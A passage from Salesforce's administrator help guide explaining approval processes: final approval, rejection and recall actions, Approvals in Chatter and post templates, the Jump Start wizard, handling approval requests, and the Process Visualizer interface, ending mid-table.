User Permissions Needed


To create or edit final approval actions:

Customize Application

Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions
can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status
to Approved and send an email notification.

1850

Create

Managing Approval Processes

When a record has been approved by all approvers, Salesforce executes all final approval actions. A default final approval action
called Record Lock is selected for you. You can modify it to automatically lock or unlock the record. You can select up to 40
additional actions to occur when a record is finally approved, 10 of each of the following types:
Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the new
value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the final approval actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes, and select the approval process.
The Final Approval Actions related list shows all the actions that take place when a record is finally approved.

Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

Configure the email alert.


Configure the field update.
Configure the outbound message.
Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview

1851

Create

Managing Approval Processes

Final Rejection Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit final rejection actions:

Customize Application

Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state.
Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action
can change the status to Rejected, send an email notification, and unlock the record so that users can edit it before resubmitting.
When a record has been rejected by all approvers, Salesforce executes all final rejection actions. A default final rejection action
called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up to 40
additional actions to occur when a record is rejected, 10 of each of the following types:
Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the new
value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the final rejection actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes and select the approval process.

The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected.
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
Configure the email alert.
Configure the field update.
Configure the outbound message.

1852

Create

Managing Approval Processes

Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview

Recall Actions
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit recall actions:

Customize Application

Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the
record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For
example, a recall action can change the status of a request from In Progress to Not Submitted.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators
can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records;
otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the
record is withdrawn and recall actions are run.
When a record has been recalled after submission, Salesforce executes all recall actions, including unlocking the record. You
can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types:
Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the new
value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage recall actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval
Processes, and select the approval process.
The Recall Actions related list shows all the actions that take place when a record is recalled.

1853

Create

Managing Approval Processes

Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

Configure the email alert.


Configure the field update.
Configure the outbound message.
Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview

Selecting Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To select approval actions:

Customize Application

There are four types of approval actions:


Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the new
value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

1854

Create

Managing Approval Processes

You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can
also reuse these actions for workflow rules. Before you begin, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes and select the approval process you want associated with the actions.
To select an approval action:
1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button
does not appear on an approval step, click Show Actions.
Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on
creating actions, see Creating Approval Actions on page 1855.
2. Choose the type of action.
3. Select the action in the list of available actions and click Add to add the action to the list of selected actions.
4. Click Save.

See Also:
Workflow and Approvals Overview
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Process Visualizer Overview

Creating Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval actions:

Customize Application

Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example,
you may have an expense approval process in Salesforce that you want to send an outbound message to your Oracle accounting
service to print expense checks when expense approval requests are approved.
To create an approval action:
1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
2. Select the approval process you want associated with the action.
3. Click Add New from the appropriate related list. When creating actions for an approval step, click Show Actions if they
are hidden.
4. Choose the type of action. The list of available actions differs depending on your settings and whether you have reached
the limit for any type of action:

Configure the email alert.


Configure the field update.
Configure the outbound message.

1855

Create

Managing Approval Processes

Configure the task.


Note: The actions you create for approval processes can be reused in workflow rules.

See Also:
Workflow and Approvals Overview
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Process Visualizer Overview

About Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets
users receive approval requests as posts in their Chatter feed. You can also customize the way the approval request post displays
in Chatter by creating unique post templates and associating them with your approval processes.
Tip: To get the most out of Approvals in Chatter, we recommend taking some time to prep your organization before
turning it on. See Getting Started With Approvals in Chatter for implementation best-practices.

Where Can I Find Approval Request Posts?


Approval request posts show up:

In the assigned approver's Chatter feed


On the submitter's profile, but not in their Chatter feed unless they're following the approval record
In the Chatter feed of the approval record
In the Chatter feed of anyone following the approval record
In the object-specific filter on the Chatter tab of anyone following the approval record
In the Company filter of every user with access to the approval record
Note: Only users with access to the approval record can see the approval request post. Comments on approval posts
aren't persisted to the approval record.

Users who opt out of receiving approval request posts don't see them in their own feed but can see posts in the record's feed.
Anyone with access to the approval record can see approval posts in the record feed.

1856

Create

Managing Approval Processes

Tip: To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in
Chatter.

See Also:
Enabling Approvals in Chatter
Approvals in Chatter Considerations
Managing Approval Request Post Templates for Chatter
Creating and Editing Approval Request Post Templates for Chatter
Enabling, Disabling, and Configuring Chatter

Getting Started With Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Approvals in Chatter:

Customize Application

Because it relies on both Chatter and Approvals, getting your organization set up for Approvals in Chatter involves more than
just turning on the feature. To be sure that everything works correctly and that your users will see their approval requests as
Chatter posts, we recommend that you follow these steps when you're ready to turn Approvals in Chatter on for your
organization:
1. Create an approval process.
2. Make sure feed tracking is enabled for the object on which your approval process is based.
3. Create an approval post template for the object on which your approval process is based. If you want to make this the
default template for all approval processes on this object, be sure to check the Default checkbox when configuring your
post template.
4. Repeat steps 1 3 for all approval processes in your organization, as needed.
5. Enable Approvals in Chatter. Waiting to do this as the last step ensures that all approval processes in your organization
are properly configured to take advantage of it. After turning it on, all existing active approval processes will start generating
Chatter posts.
Note: You can create custom post templates for one or more approval processes, but you can only associate custom
post templates with approval processes after enabling Approvals in Chatter.

See Also:
About Approvals in Chatter
Approvals in Chatter Considerations
Viewing Approval Request Post Templates
Enabling, Disabling, and Configuring Chatter

1857

Create

Managing Approval Processes

Enabling Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Approvals in Chatter:

Customize Application

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets
users receive approval requests as posts in their Chatter feed.
1. Click Your Name > Setup > Customize > Chatter > Settings.
2. Click Edit.
3. Select Allow Approvals.
Users can enable or disable approval request posts for themselves. Users who opt out of receiving approval request posts don't
see them in their own feed but can see posts in the record's feed. Anyone with access to the approval record can see approval
posts in the record feed. Users who elect to receive approval requests via Chatter receive both an email notification and a post
in their Chatter feed.

See Also:
About Approvals in Chatter
Approvals in Chatter Considerations
Getting Started With Approvals in Chatter
Creating and Editing Approval Request Post Templates for Chatter
Enabling, Disabling, and Configuring Chatter

Approvals in Chatter Considerations


Available in: Enterprise, Unlimited, and Developer Editions

Keep these issues in mind when working with Approvals in Chatter:

After Approvals in Chatter is enabled in your organization, it is turned on for all users. Users can then opt out for themselves
in their Chatter feed settings.
Users who elect to receive approval requests via Chatter receive both an email notification and a post in their Chatter feed.
To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in Chatter.
Different users see different configurations of the approval request post:
Only approvers see approval action buttons on their posts, and then only in their profile feed or their news feed.
Only approvers see approver names in the header.

If a step requires unanimous approval from multiple approvers, the approval request post for that step doesn't list all selected
approvers in its header. Approvers see only their own name in the post header.

1858

Create

Managing Approval Processes

When an approval request is recalled, a new post is generated. It appears on the news feeds of the submitter, all approvers
and followers of the object, as well as on the record feed.
If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval
page layouts or approval post templates.
If you change the approver, step name, or the routing type on an approval process while it's in progress, existing approval
posts aren't updated.
If you are an assigned approver and you opt out of receiving approval requests as posts while an approval is in progress,
and you're not following the approval record, you won't see any new notification posts after opting out. However, if you
are following the approval record, after opting out you will see approval posts from the record with non-approver content.
Any approval notification posts you received prior to opting out are updated to show non-approver content, and the
approve/reject buttons disappear from any existing posts in your feed.
Approvals in Chatter works normally for approvals on Products, with one exception: If the product isn't active and the
approver also doesn't have edit access to Products, approval post notifications for that product won't show up in the
approver's feeds. The approver can only see approval posts in the product records feed.

Limitations

Approvals in Chatter doesn't support delegated approvers or queues.


You can't recall or reassign an approval request from a post. Both must be done from the approval record.
Approval posts can't be deleted in the Salesforce user interface; you can only delete them through the API.
Approval requests from Sites or portal users aren't supported.

See Also:
About Approvals in Chatter
Getting Started With Approvals in Chatter
Enabling Approvals in Chatter

Managing Approval Request Post Templates for Chatter


Available in: Enterprise, Unlimited, and Developer Editions

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets
users receive approval requests as posts in their Chatter feed. With approval post templates for Chatter, you can customize
the information that is included in the approval request post when it displays in a Chatter feed.
Note: Only users with access to the approval record can see the approval request post. Comments on approval posts
aren't persisted to the approval record.
To manage your custom approval post templates, click Your Name > Setup > Create > Workflow & Approvals > Post
Templates.
From the template list page, you can:

Create a new post template.


Click a template's name to go to its detail page.
Edit or delete a post template.

1859

Create

Managing Approval Processes

Note: You can't delete a post template if it's in use by an approval process.

Keep these issues in mind when working with approval post templates:
You can set a post template as the default template for an object by clicking Edit from the templates detail page.
You can only create an approval post template for an object that is both enabled for approvals and supported for Chatter
feed tracking. You can't associate a post template to an approval process unless feed tracking for the object has been turned
on.
Deleting a custom field from a standard object removes the custom field from any post template that refers to that object.
Existing posts using the template aren't affected. Undeleting the custom field restores it to the available fields list and to
any post templates that contained it previously.
Deleting a custom field from a custom object removes the custom field from any post template that refers to that object.
Undeleting the custom field in this case restores it to the available fields list, but does not restore it to the post templates
that contained it previously.
Hard deleting a custom object removes all post templates related to it. Soft deleting a custom object makes related post
templates invisible on the template list page. Existing posts using affected templates aren't changed. Undeleting the custom
object restores the post templates associated with it.
If you rename a custom object, post templates associated with it update accordingly.

See Also:
About Approvals in Chatter
Getting Started With Approvals in Chatter
Creating Approval Processes
Managing Deleted Custom Fields

Creating and Editing Approval Request Post Templates for Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and view approval request post templates:

Customize Application

With approval post templates for Chatter, you can customize what information gets included in the approval request post
when it displays in a Chatter feed.
1.
2.
3.
4.
5.
6.

Click Your Name > Setup > Create > Workflow & Approvals > Post Templates.
Click New Template.
Select the object for your template.
Click Next.
Enter a template name.
Optionally, change the template's unique name.

1860

Create

Managing Approval Processes

7. Enter a description.
8. Select the checkbox to make this the default template for the associated object.
9. Select up to four fields to display on the approval request post and click Add.
10. Sort the fields by selecting them and clicking Up or Down.
11. Click Save.
Note: You can only create an approval post template for an object that is both enabled for approvals and supported
for Chatter feed tracking. You can't associate a post template to an approval process unless feed tracking for the object
has been turned on.
You can edit an approval post template in two ways. First go to Your Name > Setup > Create > Workflow & Approvals >
Post Templates.

Click Edit in the Action column.


Click a template name, then click the Edit button from the template detail page.

See Also:
Managing Approval Request Post Templates for Chatter
Viewing Approval Request Post Templates
About Approvals in Chatter
Getting Started With Approvals in Chatter

Viewing Approval Request Post Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and view approval request post templates:

Customize Application

To view approval post request template details, go to Your Name > Setup > Create > Workflow & Approvals > Post
Templates, then click the name of a template. From this page, you can:

View template details, such as its object, name, description, and any object fields included.
See whether this template is set as the default for the associated object. Click Edit to set the template as the object's custom
default template.
Edit, delete, or clone the template.
Note: You can't delete a post template if it's in use by an approval process.

1861

Create

Managing Approval Processes

Using the Approval Process Jump Start Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes:

Customize Application

The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However,
to make your process as functional and complete as possible, there are a few things you should do first:
1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field
on the user object.
2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember
to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has
enabled email approval response, be sure the email template you use describes how to correctly use both response options:
clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 472.
For information on email approval response, see Customizing Workflow and Approval Settings on page 1788.
3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved
or rejected.
4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information,
see Workflow and Approvals Overview on page 1775.
Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by
choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval
Process Jump Start Default Selections on page 1865.
To use the jump start wizard to create an approval process:
1.
2.
3.
4.
5.

Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
Choose the object for the new approval process.
Click Create New Approval Process and choose Use Jump Start Wizard from the drop-down button.
Enter a name for the new approval process.
Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the
selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
6. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 472.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you

1862

Create

Managing Approval Processes

use the template for any other email alert actionin either workflow rules or approval processesthe merge fields
will return a null value.
7. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
8. If only certain types of records should enter this approval process, do one of the following:

Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process.
For example, if only employees from headquarters should use this approval process to submit expense reports, enter
the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter
criteria, see Entering Filter Criteria on page 2961.
a. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want
all records submitted to be included in the approval process. For information on using filter criteria, see Entering
Filter Criteria on page 2961.
Note: Select a current user field if you want to filter based on the user submitting an approval request.

b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to
store your changes.

Select formula evaluates to true if you want a formula to determine what records enter the approval process.
a. Enter a formula that returns True or False. A record enters the approval process if the formula returns True.
For example, use the following formula to require a record to enter this approval process when the record's discount
approval cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to
store your changes.
For information on using formulas, see Building Formulas on page 1147. Some functions are not available in approval
process formulas. For information on which functions you can use in approval process formulas, see Operators and
Functions on page 1203.
9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members
of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.

Prompts the user to manually select the next approver.


Automatically assign an approver using a standard or custom hierarchy field.
Assigns the approval request to the user in the field displayed in this option. For example, you may want approval
requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field.
Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account
Manager user field.
To create a new custom field, click Create New Field from this option. For information on creating a custom
field, see Creating Custom Fields on page 1075.

1863

Create

Managing Approval Processes

Automatically assign to a queue.

Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 595. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 1835.
Automatically assign to approver(s).

Assigns the approval request to one or more of the following:


User

Any Salesforce user in your organization.


Related User

A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.
Note: When specifying approvers, note the following:

Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
You can't assign approval requests to partner users.
To use email approval response:
The assigned approver cant be a queue.
Approvers must have the API Enabled system permission to approve or reject approval requests via email.

You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes
such redundancies and only requests a single approval from the user.
After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.
Require unanimous approval from all selected approvers.
The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Click Save to return to the Approval Process Detail page.
12. Select approval actions. For more information, see Selecting Approval Actions on page 1854.
13. When you are ready to use the approval process, activate it:
a. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.

1864

Create

Managing Approval Processes

b. Click Activate next to an inactive process to activate it.

See Also:
Choosing an Approval Process Wizard
Creating Approval Processes
Examples of Approval Processes
Process Visualizer Overview

Approval Process Jump Start Default Selections


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes:

Customize Application

The jump start wizard automates creating an approval process by automatically choosing some default options for you. When
you use the jump start wizard, your approval process will have the following attributes:

Users must have the Modify All object-level permission for the given object, or the Modify All Data permission, to
edit records that are awaiting approval in the approval process.
The approval request page layout displays the record name (or number), owner, date created, and approval history.
The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile
device.
The owner of a record is the only person who can submit an approval request.
Records are locked when submitted for approval.
Records remain locked until approved or rejected.
Rejected records are unlocked.
Only administrators can recall a record after it is submitted for approval.
There are no auto-approve or auto-reject actions.
No email notification is sent upon approval or rejection.
No field values are automatically updated during the approval process.
An approver cannot automatically delegate another user to approve his or her approval requests.
The Allow submitters to recall approval requests option is not selected.

After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit
from any approval process list page, and you can add additional steps from the approval process detail page. However, you
cannot edit the Record Lock action on the Initial Submission Actions list.

1865

Create

Processing Approval Requests

Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and
actions that comprise your approval process.

See Also:
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard

Processing Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To approve, reject, or reassign approval requests:

Permissions vary depending on the approval process settings

To approve and reject approval requests via email:

API Enabled

Your administrator can set up an approval process that lets you submit records for approval. Depending on the approval process
settings, records may need to have specific attributes before you can submit them. Also, a single record may need to go through
several layers of approval.
Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the
Approval History related list on a record detail page. For more information; see Approval History on page 1868.
You can also manage your assigned approval requests from the Items To Approve related list on the Home tab. See Items to
Approve on page 1867.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

Approving and Rejecting Requests Via Email


If you are the assigned approver for an approval request, you will receive an email notification.
To approve requests via email:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.
2. Click Approve.
3. Enter any comments you want attached to the approval request.
4. When available, select the next approver.
5. Click Approve.
To reject requests via email:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.

1866

Create

Processing Approval Requests

2. Enter any comments you want attached to the approval request.


3. Click Reject.
If email approval response is enabled, you can alternatively reply to the email notification by typing the word approve,
reject, approved, rejected, yes or no in the first line of the email body. You can also add comments in the second
line.
Note:

Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333
characters.
If the word in your response isnt recognized, you receive an error notification email. To submit another response,
reply again to the original email notification. Replies to the error notification email wont be processed.

Approving and Rejecting Requests via Chatter


If your organization has Approvals in Chatter enabled, you can opt to receive approval request notifications as Chatter posts
in addition to receiving them as emails.
Note: Only users with access to the approval record can see the approval request post. Comments on approval posts
aren't persisted to the approval record.
To approve or reject approval requests in Chatter, click the Approve or Reject buttons on the post.

See Also:
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Process Visualizer Overview

Items to Approve
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Items to Approve related list:

Permissions vary depending on the approval process settings

The Items to Approve related list tracks the open approval requests assigned to you. If your administrator has created an
approval process for your organization, you may see this related list on your home page. Depending on the approval process
settings, you can:

Click an approval request to view more details about it.


To assign the approval request to another user, click Reassign next to an item.
To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.

1867

Create

Processing Approval Requests

Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.

Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate
boxes. Optionally, check the box in the column header to select all currently displayed items.
Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click
Save.
Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject
all selected approval requests at once.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests

Approval History
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Approval History related list:

Permissions vary depending on the approval process settings

The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you
may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following:

To submit a record for approval, click Submit for Approval. Salesforce begins the approval process if any approval processes
apply to the record. This option is not available after the record has been submitted. Depending on the approval process,
you may be prompted to select the next approver.
To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an
approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both
submitters and administrators can see the Recall Approval Request button in the Approval History related list on the
detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall
Actions on page 1853.
To assign the approval request to another user, click Reassign next to an item.

1868

Create

Process Visualizer Overview

To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.

Depending on how your administrator customizes the Approval History related list, it can contain the following Status
values:
Status

Definition

Submitted

The record has been submitted for a approval.

Pending

The record has been submitted for approval and is awaiting


approval or rejection.

Approved

The record has been approved.

Rejected

The record has been rejected.

Reassigned

The record has been submitted for approval but assigned to a


different approver.

Recalled

The record was submitted for approval but recalled from the
approval process.

Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator
to find out about the attributes a record must have to be included in an active approval process for your organization.

See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Process Visualizer Overview

Process Visualizer Overview


Available in: Enterprise, Unlimited, and Developer Editions

You can use the Process Visualizer to:

Display a flowchart of each saved approval process


Improve communication about the approval process and gain buy-in from step owners
Reinforce your company's policies by documenting the decisions you reached when the approval process was designed
Print an annotated version of the approval process, where numbers added to the diagram correspond to details in a table,
which is included in the printable view

1869

Create

Process Visualizer Overview

Share approval process diagrams by saving annotated versions as PDF files (requires an Adobe PDF print driver)
Help you quickly locate key details by searching multi-step or complex diagrams for matching text
Help you visualize and understand graphically:

The steps necessary for a record to be approved


The designated approvers for each step
The criteria used to trigger the approval process
The specific actions to take when a record is approved, rejected, recalled, or first submitted for approval

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Getting Started with Approval Processes

Launching the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps:

View Setup and Configuration

Before you can use the Process Visualizer, you must:

Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser
Have at least one approval process defined in your organization

After completing the prerequisites:


1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
2. Click the name of the approval process you want to view.
3. On the detail page for the approval process, click View Diagram.
Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.

See Also:
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Process Visualizer Overview

1870

Create

Process Visualizer Overview

Understanding the Process Visualizer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps:

View Setup and Configuration

This topic contains the following sections:

About the Process Visualizer UI


Displaying Hover Details for an Approval Process Diagram
Displaying Approval Process Properties
Printing Diagrams and Saving PDFs
Finding Text in a Diagram on page 1873
Refreshing an Approval Process Diagram
Changing an Approval Process Diagram's Zoom Level
Using the Navigator

About the Process Visualizer UI


The user interface for the Process Visualizer has several functional areas.

Figure 14: Process Visualizer User Interface


The highlighted numbers in the illustration correspond to the following descriptions:
1. The main area contains the approval process diagram, helping you visualize the overall flow, rules, actions, and dependencies.
The diagram's orientation is top-to-bottom, left-to-right. The entry criteria for the approval process are shown at the top

1871

Create

Process Visualizer Overview

2.

3.
4.

5.
6.
7.
8.

of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component
uses a shape, an icon, or both to represent the type of processing that may happen.
The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display
the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last
setting (shown or hidden).
The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons
to scroll through your matches.
Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties,
which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval
and whether it has been activated. Expand the pane by clicking the arrow icon.
The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component
on the diagram. You can hover over or click a component to view its details.
In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts
of the diagram.
In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram.
In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or
show the legend and navigator.

Displaying Hover Details for an Approval Process Diagram


When you hover over or click a flowchart component, the Process Visualizer displays information about it in the sidebar,
which remains there until you hover over or click a different component.
The following table lists the type of information you can see in the hover details.
Component Type

Hover Detail Message Formats

Approval steps

Approval required from:


User: user-name
Role: role-name
Or if defined for the step, one of the following values:

Submitter can choose approver


Automatically assigned to Manager field
Unanimous approval required from: approver-1,
approver-n...

Approval based on first response from: approver-1,


approver-n...
Related User: object-name Owner

The approver's delegate may also approve this request

Description:
Field updates

Email alerts

Send (email-template) email to recipient-1,


recipient-n... and additional recipients: cc email

Update field-name with lookup value: lookup-value


Update field-name with value: value
Update field-name with formula: formula

field of email alert

Tasks

Assign task to assignee with due date: date

1872

Create

Process Visualizer Overview

Component Type

Hover Detail Message Formats

Outbound messages

Send to endpoint endpoint-url the following fields:


field-1, field-n,...

Displaying Approval Process Properties


In the sidebar, the Approval Process Properties pane lists the information shown in the following table. Click the arrow to
expand or collapse it. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (expanded
or collapsed).
Property

Description

Process Name

A user-defined name of the approval process.

Entry Criteria?

Appears only when there are no entry criteria for the process,
